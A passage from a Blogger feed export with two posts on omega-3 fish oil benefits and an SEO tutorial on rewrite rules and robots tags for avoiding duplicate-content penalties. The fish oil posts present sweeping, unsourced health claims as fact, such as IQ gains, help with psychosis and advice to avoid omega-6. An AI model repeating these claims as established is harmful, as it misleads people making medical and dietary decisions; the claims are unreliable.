arrhythmias &lt;/span&gt;&lt;br /&gt;Without enough EFAs (essential fatty acids), body’s cell membranes are depleted from saturated FA and become less elastic.&lt;br /&gt;If the elastic cardiac cells membranes are made from EFAs, the heart easily returns to a resting state. Otherwise the rigid cell membranes made from saturated fatty acids can cause an arrhythmias or irregular heartbeats and thus alter the cardiac muscle cell contraction. That’s why is recommended for the patients following coronary artery bypass surgery to receive these FA.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Overall cardiovascular health&lt;/span&gt;&lt;br /&gt;The Eskimo diet is low in fruits/vegetables and high in animal fats. Why then the Eskimos have lower instances of coronary heart disease than a Danish people? Both diets have a high percentage of calories from fat: Danish diet has less than 1% omega-3 and ~23% saturated fat. Eskimos consume ~9% saturated and ~4% omega-3 fat.&lt;br /&gt;Not only Eskimos but also the Japanese have very low rates of heart diseases because of the fish presence in their diet. Reason: consuming O6 fatty acids promote to increased inflammation, platelet aggregation and blood clots, while O3 fatty acids reduce them. Therefore it is good to consume a ratio of O6 to O3 at the 2:1 range.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3) Brain function. &lt;/span&gt;&lt;br /&gt;O3 fatty acids are important for embryo’s brain and eyes development. It contributes to these tissues health.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How does omega-3's protect the brain?&lt;/span&gt;&lt;br /&gt;Brain is composed mainly from DHA. It is a primary structural component of the brain tissue and has a direct effect on brain chemistry, development and functioning. DHA is also highly concentrated in membranes of brain synapses and in the retina of the eye.&lt;br /&gt;The richest single source of DHA is the O3 in fish and fish oil. DHA is vital to a child's diet.&lt;br /&gt;•    can impact child’s intelligence and happiness.&lt;br /&gt;•    modify the behavior of over-active children.&lt;br /&gt;•    for non-depressed people, EFA may offer mood elevating properties.&lt;br /&gt;•    may boost the effectiveness of antidepressants in some people.&lt;br /&gt;•    depressed people showed less anxiety, fewer sleeping problems, less overall sadness, and fewer sexual problems.&lt;br /&gt;•    dramatically improve the behavior of unruly children and help develop their concentration and language skills.&lt;br /&gt;•    for adults, it improves memory function, recall, reasoning and concentration/focus. It also helps the impaired ones.&lt;br /&gt;•    people who take EFA score 13% higher on IQ tests.&lt;br /&gt;•    Eskimos and Japanese have almost no evidence or have very low rates of depression. Reason: they consume lots of fish.&lt;br /&gt;•    alleviate the symptoms of mood swings or depression, bipolar disorders and psychosis(participants who took O3 have increased gray matter in areas of the brain associated with emotional arousal and regulation and behavior)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7829034834729638071?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7829034834729638071/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7829034834729638071' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7829034834729638071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7829034834729638071'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/01/benefits-of-omega-3-fish-oil-part-ii.html' title='Benefits of the omega 3 Fish Oil – part II'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-5544619644723471869</id><published>2007-01-24T04:51:00.000-08:00</published><updated>2008-01-21T05:59:02.686-08:00</updated><title type='text'>Benefits of the omega 3 Fish Oil – part I</title><content type='html'>Health benefits of consuming fish oil:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1) Reduce inflammation and pain, regulate the immune system, allergies&lt;/span&gt;&lt;br /&gt;Omega 3 fatty acids(O3 FA) have a positive effect on our inflammatory response. They regulate body's inflammation cycle, thus prevent and relieve painful conditions like prostatitis and cystitis. This also can be of great benefit to people suffering from rheumatoid arthritis or ulcerative colitis.&lt;br /&gt;&lt;br /&gt;Alpha-linolenic acid(ALA), converted to EPA and DHA in our body is used as important raw material in the cell membranes. ALA can be found in: flaxseed, soybean, hempseed, pumpkinseed, canola, wheat germ, walnut and butternut. However, the conversion of alpha-linolenic acid to EPA and DHA is quite inefficient: conversion rates at less than 7%. Lifestyle can also decrease these rates. &lt;span style="font-weight: bold;"&gt;EPA and DHA are O3 FA contained in fish oil.&lt;/span&gt; Supplementing with fish oil can:&lt;br /&gt;&lt;br /&gt;•    decrease both the degradative and inflammatory aspects of chondrocyte metabolism, without side effect on the normal tissue homeostasis&lt;br /&gt;•    reduce the negative trends and their related symptoms in patients with osteoarthritis&lt;br /&gt;•    reduces fatigue and stiffness in rheumatoid arthritis. Limit the release of leukotrien B and interleukin 1 from neutrophils and monocytes - the two inflammation causing factors.&lt;br /&gt;•    improve cold exposure tolerance and significantly delay the onset of vasospasm in Raynaud's patients.&lt;br /&gt;•    in cases of pediatric SLE(Systemic lupus erythematosus), dyslipoproteinemia significantly improve blood lipid profiles.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;In allergic cases:&lt;/span&gt;&lt;br /&gt;A central function of our immune system is to distinguish foreign molecules from our own. It fights foreign molecules by producing more white blood cells and antibodies. During one allergy process the immune response is excessive.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How our immuninty system is being controlled?&lt;/span&gt;&lt;br /&gt;The intensity of an immune response is controlled by prostaglandins hormones. Our body makes two types prostaglandins hormones: Type1 - to increase the response and type2 to reduce it. They must be in balance in order the response to be correct. These prostaglandins are produced from Essential Fatty Acids (EFAs). There are two types of them: Omega-6 and Omega-3.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Role of O6 FA&lt;/span&gt;&lt;br /&gt;They produce Arachidonic acid which serves as a building block for the eicosanoids that control the synthesis of pro-inflammatory and immunoregulatory cytokines. Therefore our body uses o6 to make the prostaglandins that increase our immune response.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Role of O3 FA&lt;/span&gt;&lt;br /&gt;They on the other hand, inhibit the production of arachidonic acid. They serve as raw materials for a healthier class of eicosanoids with anti-inflammatory properties. In this case our body makes prostaglandins out of o3 that reduce our immunity response.&lt;br /&gt;&lt;br /&gt;The problem with most diets is that the ratio of O6 to O3 is above 10 to 1. With such ratios our immune system overruns and allergy happens. To correct this excessive ratio in the diet, one should avoid O6 and supplement the diet with O3 rich fats and oils.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Timing&lt;/span&gt;&lt;br /&gt;The life span of the lymphocytes – the white blood cells that attack the foreign bodies and produce antibodies is from six months to two years. Therefore expect results a least six months after the EFA’s treatment.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-5544619644723471869?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/5544619644723471869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=5544619644723471869' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5544619644723471869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/5544619644723471869'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/01/benefits-of-fish-oil-or-why-should-you.html' title='Benefits of the omega 3 Fish Oil – part I'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2928376776019504215</id><published>2007-01-12T08:41:00.000-08:00</published><updated>2010-12-25T03:20:37.532-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Duplicate website content and how to avoid it</title><content type='html'>Here I'll present a practical way on how to avoid the duplicate content penalty.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;When is this penalty applied?&lt;/span&gt;&lt;br /&gt;This kind of penalty is applied by search engines such as Google when there is an indication of two exactly the same versions of your site's content.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How can your website become a victim of such penalty?&lt;/span&gt;&lt;br /&gt;The modern content management systems(CMS) and community forums offer numerous possibilities of managing new content, but because of their deep structure their URLs are very longer. So search engines are unable to fully spider the site.&lt;br /&gt;The solution to webmasters was to rewrite the old url so &lt;span style="font-weight: bold;"&gt;index.php?mode=look_article&amp;amp;article_id=12&lt;/span&gt; url now becomes just &lt;span style="font-weight: bold;"&gt;article-12.html&lt;/span&gt;. As a first step it serves its purpose, but if left like this &lt;span style="font-weight: bold;"&gt;the two urls are going to be indexed&lt;/span&gt;. If we look through the eyes of a search engine we'll see same content having 2 instances and of course the duplicate filter is raised:&lt;br /&gt;&lt;blockquote&gt;I-st instance: index.php?mode=look_article&amp;amp;article_id=12&lt;br /&gt;&lt;br /&gt;II-nd instance: article-12.html&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;Easy solution&lt;/span&gt;&lt;br /&gt;The solution is done via PHP language and using .htaccess Apache file.&lt;br /&gt;First off we'll rewrite our URLs so they can be search friendly. Let's assume that we've to redirect our index.php?mode=look_article&amp;amp;article_id=... to article-....html&lt;br /&gt;&lt;br /&gt;Create an empty .htaccess file and place this. First edit the code and fill in your website address. If you don't have subdomain then erase the subdomain variable also.&lt;br /&gt;&lt;pre class="brush: html"&gt;RewriteEngine on&lt;br /&gt;&lt;br /&gt;RewriteRule article-([0-9]+)\.html    http://www.yourwebsite/subdomain/index.php?mode=look_article&amp;amp;article_id=$1&amp;amp;rw=on&lt;br /&gt;&lt;br /&gt;RewriteCond %{the_request} ^[A-Z]{3,9}\ /subdomain/index\.php\ HTTP/&lt;br /&gt;RewriteRule index\.php http://www.yourwebsite/subdomain/ [R=301,L]&lt;br /&gt;&lt;br /&gt;RewriteCond %{HTTP_HOST} .&lt;br /&gt;RewriteCond %{HTTP_HOST} ^www\.yourwebsite\.subdomain [nc]&lt;br /&gt;RewriteRule ^(.*)$ http://yourwebsite/subdomain/$1 [R=301,L]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Explanation:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;RewriteRule article-([0-9]+)\.html    http://www.yourwebsite/subdomain/index.php?mode=look_article&amp;amp;article_id=$1&amp;amp;rw=on&lt;/span&gt;&lt;br /&gt;Those lines allow article-12.html to be loaded internaly as index.php?mode=look_article&amp;amp;article_id=12&lt;br /&gt;The variable &lt;span style="font-weight: bold;"&gt;&amp;amp;rw=on&lt;/span&gt; is important for the later php code. So dont forget to include it.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;RewriteCond %{the_request} ^[A-Z]{3,9}\ /subdomain/index\.php\ HTTP/&lt;br /&gt;RewriteRule index\.php http://www.yourwebsite/subdomain/ [R=301,L]&lt;br /&gt;&lt;/span&gt;This lines avoid considering &lt;span style="font-weight: bold;"&gt;index.php&lt;/span&gt; as a separate page thus lowering your website PR and will transfer all the PR from index.php to your domain.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;RewriteCond %{HTTP_HOST} .&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;RewriteCond %{HTTP_HOST} ^www\.yourwebsite\.subdomain [nc]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;RewriteRule ^(.*)$ http://yourwebsite/subdomain/$1 [R=301,L]&lt;/span&gt;&lt;br /&gt;This will avoid duplicate urls such as &lt;span style="font-weight: bold;"&gt;www&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;non-www&lt;/span&gt; and transfer all the requests and PR to the non-www site.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Then create file header.php and include in your website before all other files:&lt;br /&gt;&lt;br /&gt;Put there:&lt;br /&gt;&lt;pre class="brush: html"&gt;$rw=$_GET['rw'];&lt;br /&gt;if ($rw=="on") { echo "&amp;lt;meta content=\"index,follow\" name=\"robots\" /&amp;gt;"; }&lt;br /&gt;&lt;br /&gt;else { echo "&amp;lt;meta content=\"noindex,nofollow\" name=\"robots\" /&amp;gt;"; }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This will point the search engine to index only the pages that will have rw flag set to on. These pages will be the previous set like article-12.html pages.&lt;br /&gt;&lt;br /&gt;Of course if you have access to your robots.txt file and to your root domain then you can just put the file: look_article there and you are done:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html"&gt;User-agent: *&lt;br /&gt;Disallow: /look_article.php&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Notes: For those using CMS - check out whether your pages are still accessible using different parameters in the URL&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example&lt;/span&gt;: you've deleted an article with id=17 but the empty template would be still accessible producing header status 200 OK code - this will be surely recognized as a spam from Google.&lt;br /&gt;Solution:&lt;br /&gt;1.Find out those empty pages and give them header status 404 not found code:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html"&gt;header("Status: 404 Not Found");&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;2. Create error404.html file explaining that the user is trying to access a non-existent page.&lt;br /&gt;&lt;br /&gt;3.Then add in your .htaccess file the custom 404 error page:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: html"&gt;ErrorDocument 404 /your_domain_name/error404.html&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This way the search engine spider wont penalize your template displaying empty information - it will now see those pages as a 404 not-found document.&lt;br /&gt;&lt;br /&gt;Next step involves &lt;a href="http://nevyan.blogspot.com/2009/04/increase-indexing-by-clearing.html"&gt;cleaning up of an already indexed but duplicated website content&lt;/a&gt; in order to regain the search engine's trust. So happy reading. &lt;br /&gt;Hope it helps!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2928376776019504215?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2928376776019504215/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2928376776019504215' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2928376776019504215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2928376776019504215'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/01/duplicate-website-content-how-to-avoid.html' title='Duplicate website content and how to avoid it'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>4</thr:total></entry></feed>
